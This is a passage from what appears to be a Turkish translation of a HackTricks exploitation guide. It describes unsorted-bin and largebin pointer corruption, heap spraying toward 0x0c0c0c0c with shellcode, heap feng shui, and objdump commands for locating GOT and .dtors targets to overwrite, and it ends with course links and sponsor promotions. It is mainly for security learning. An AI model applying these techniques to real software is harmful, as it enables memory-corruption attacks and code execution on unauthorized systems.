Serbest bırakılan parçalar, boyutlarına göre bin'e yerleştirilir. Ancak, yerleştirilmeden önce unsorted bins'de saklanır. Bir parça serbest bırakıldığında, hemen bin'ine yerleştirilmez, bunun yerine unsorted bins'de kalır. Ardından, yeni bir parça ayrıldığında ve önceki serbest bırakılan parça ona hizmet edebiliyorsa, onu geri döndürür; ancak daha büyük bir parça ayrıldığında, unsorted bins'deki serbest bırakılan parça uygun bin'ine yerleştirilir.
|
||
|
||
Zayıf kodu elde etmek için bellek talebi, av->max\_fast'tan (genellikle 72) büyük ve MIN\_LARGE\_SIZE'dan (512) küçük olmalıdır.
|
||
|
||
Eğer bin'de istenen boyuta uygun bir parça varsa, bu parça, serbest bırakıldıktan sonra unsorted bins'den çıkarılarak geri döndürülür:
|
||
|
||
bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir.
|
||
|
||
bin->bk = bck; Önceki parça son parça olur, eğer bck yığına işaret ediyorsa, bir sonraki ayrılan parçaya bu adres verilecektir.
|
||
|
||
bck->fd = bin; Bu, bu parçanın bin'e işaret etmesini sağlayarak listeyi kapatır.
|
||
|
||
Gerektirir:
|
||
|
||
İki malloc ayrılması, böylece ilki, ikincisi serbest bırakıldıktan sonra taşma yapılabilir (yani, taşma yapılmadan önce ikinci parçadan daha büyük bir malloc ayrılmış olmalıdır).
|
||
|
||
Saldırganın belirlediği adrese ayrılan malloc'un, saldırgan tarafından kontrol edilmesi gerekir.
|
||
|
||
Amaç şudur: Eğer serbest bırakılmış bir yığın parçasına taşma yapabiliyorsak ve onun altında bir parça varsa, bk işaretçisini değiştirebiliriz. Eğer bk işaretçisini değiştirirsek ve bu parça, bin listesinin ilk parçası olursa ve ayrılırsa, bin'e, sunulacak son parçanın sahte adresinin (yığın veya GOT gibi) olduğunu söyleyebiliriz. Böylece, başka bir parça ayrıldığında ve saldırganın buna erişimi varsa, istenen konumda bir parça alacak ve oraya yazabilecektir.
|
||
|
||
Değiştirilen parçayı serbest bıraktıktan sonra, serbest bırakılan parçadan daha büyük bir parça ayrılması gerekir, böylece değiştirilen parça unsorted bins'den çıkarılır ve uygun bin'ine yerleştirilir.
|
||
|
||
Bir kez bin'ine yerleştirildiğinde, taşma yoluyla bk işaretçisini değiştirmek için zamanı gelmiştir, böylece istediğimiz adresi aşırı yazabiliriz.
|
||
|
||
Bu nedenle, bin'in, yeterince malloc() çağrısı yapılana kadar sırada beklemesi gerekir, böylece değiştirilen bin yeniden kullanılır ve bin'e, bir sonraki parçanın sahte adreste olduğunu düşündürür. Ardından, ilgilendiğimiz parça verilecektir.
|
||
|
||
Zafiyetin mümkün olan en kısa sürede çalışması için ideal olan: Zayıf parçanın ayrılması, değiştirilecek parçanın ayrılması, bu parçanın serbest bırakılması, daha büyük bir parça ayrılması, parçanın değiştirilmesi (zafiyet), zayıf parçayla aynı boyutta bir parça ayrılması ve bu, seçilen adrese işaret eden ikinci parça olacaktır.
|
||
|
||
Bu saldırıyı korumak için, parçanın “sahte” olmadığını kontrol eden tipik bir kontrol kullanıldı: bck->fd'nin victim'a işaret edip etmediği kontrol edilir. Yani, bizim durumumuzda, yığında işaret edilen sahte fd* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için, saldırganın bir şekilde (muhtemelen yığın üzerinden) uygun adrese victim adresini yazabilmesi gerekir. Böylece, gerçek bir parça gibi görünür.
|
||
|
||
**LargeBin Bozulması**
|
||
|
||
Önceki gereksinimlerin yanı sıra, ayrılan parçaların boyutları 512'den büyük olmalıdır.
|
||
|
||
Saldırı, önceki gibi, bk işaretçisini değiştirmeyi gerektirir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak ayrıca değiştirilen parçanın boyutunu, bu boyut - nb < MINSIZE olacak şekilde değiştirmek gerekir.
|
||
|
||
Örneğin, boyutu 1552 yapmak, 1552 - 1544 = 8 < MINSIZE (çıkarma negatif olmamalıdır çünkü unsigned bir değer karşılaştırılır).
|
||
|
||
Ayrıca, durumu daha da karmaşıklaştırmak için bir yamanın uygulandığı görülmüştür.
|
||
|
||
**Heap Spraying**
|
||
|
||
Temelde, mümkün olan tüm yığın belleği ayırmak ve bunları bir shellcode ile biten nop'larla doldurmak anlamına gelir. Ayrıca, 0x0c kullanılarak bir yastık oluşturulur. Çünkü 0x0c0c0c0c adresine atlamaya çalışılacak ve bu nedenle, bu adrese yazılan herhangi bir işaretçi, oraya atlayacaktır. Temel olarak taktik, mümkün olduğunca fazla alan ayırmak ve bir işaretçiyi aşırı yazmak ve 0x0c0c0c0c adresine atlamaktır; umarız orada nop'lar vardır.
|
||
|
||
**Heap Feng Shui**
|
||
|
||
Belleği, rezervasyonlar ve serbest bırakmalar yoluyla, boş parçaların arasında ayrılmış parçalar kalacak şekilde düzenlemeyi içerir. Taşma yapılacak buffer, bu boşluklardan birinde yer alacaktır.
|
||
|
||
**objdump -d yürütülebilir** —> Fonksiyonları disassemble eder\
|
||
**objdump -d ./PROGRAMA | grep FUNCION** —> Fonksiyon adresini alır\
|
||
**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcode olduğuna ve OpCodes'u çıkarmak için\
|
||
**objdump -t ./exec | grep varBss** —> Değişkenler ve fonksiyonlar için adres tablosu\
|
||
**objdump -TR ./exec | grep exit(func lib)** —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)\
|
||
**objdump -d ./exec | grep funcCode**\
|
||
**objdump -s -j .dtors /exec**\
|
||
**objdump -s -j .got ./exec**\
|
||
**objdump -t --dynamic-relo ./exec | grep puts** —> GOT'ta aşırı yazılacak puts adresini alır\
|
||
**objdump -D ./exec** —> Tümünü disassemble eder, plt girişlerine kadar\
|
||
**objdump -p -/exec**\
|
||
**Info functions strncmp —>** gdb'de fonksiyon bilgisi
|
||
|
||
## İlginç Kurslar
|
||
|
||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||
|
||
## **Referanslar**
|
||
|
||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** bizi takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **HackTricks'e ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.**
|
||
|
||
</details>
|
||
{% endhint %}
|